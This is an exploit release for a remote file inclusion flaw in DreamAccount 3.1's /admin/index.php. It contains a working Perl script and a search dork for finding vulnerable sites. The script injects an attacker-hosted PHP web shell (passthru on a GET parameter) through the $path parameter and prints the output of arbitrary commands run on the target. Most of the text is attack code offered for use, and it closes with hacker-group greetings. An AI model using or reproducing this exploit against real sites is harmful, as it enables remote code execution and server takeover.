---------------------------------------------------- DREAMACCOUNT V3.1 Command Execution Exploit ---------------------------------------------------- Discovered By CrAsh_oVeR_rIdE(Arabian Security Team) Coded By Drago84(Exclusive Security Team) ---------------------------------------------------- site of script:http://dreamcost.com ---------------------------------------------------- Vulnerable: DREAMACCOUNT V3.1 ---------------------------------------------------- vulnerable file : ------------------ /admin/index.php ---------------------------------------------------- vulnerable code: ---------------------------------------------------- require($path . "setup.php"); require($path . "functions.php"); require($path . "payment_processing.inc.php"); $path parameter File inclusion ---------------------------------------------------- #!/usr/bin/perl use HTTP::Request; use LWP::UserAgent; print "n===================================================================== ========rn"; print " * Dreamaccount Remote Command Execution 23/06/06 *rn"; print "======================================================================= ======rn"; print "[*] dork:"powered by DreamAccount 3.1"n"; print "[*] Coded By : Drago84 n"; print "[*] Discovered by CrAsH_oVeR_rIdEn"; print "[*] Use <site> <dir_Dream> <eval site> <cmd>n"; print " Into the Eval Site it must be:nn"; print " Exclusive <?php passthru($_GET[cmd]); ?> /Exclusive"; if (@ARGV < 4) { print "nn[*] usage: perl dream.pl <site> <dir dream> <eval site> <cmd>n"; print "[*] usage: perl dream.pl www.HosT.com /dreamaccount/ http://www.site.org/doc.jpg idn"; print "[*] uid=90(nobody) gid=90(nobody) egid=90(nobody) n"; exit(); } my $dir=$ARGV[1]; my $host=$ARGV[0]; my $eval=$ARGV[2]; my $cmd=$ARGV[3]; my $url2=$host.$dir."/admin/index.php?path=".$eval."?&cmd=".$cmd; print "n"; my $req=HTTP::Request->new(GET=>$url2); my $ua=LWP::UserAgent->new(); $ua->timeout(10); my $response=$ua->request($req); if ($response->is_success) { print "nnResult of:".$cmd."n"; my ($pezzo_utile) = ( $response->content =~ m{Exclusive(.+)/Exclusive}smx ); printf $1; $response->content; print "n"; } ------------------------------------------------------------------------ ---------------------------- Discovered By CrAsh_oVeR_rIdE Coded By Drago84 E-mail:KARKOR23 (at) hotmail (dot) com [email concealed] Site:www.lezr.com Greetz:KING-HACKER,YOUNG_HACKER ,SIMO,ROOT-HACKED,SAUDI,QPTAN,POWERWALL,SNIPER_SA,Black-Code,ALMOKAN3,Mr .hcR AND ALL LEZR.COM Member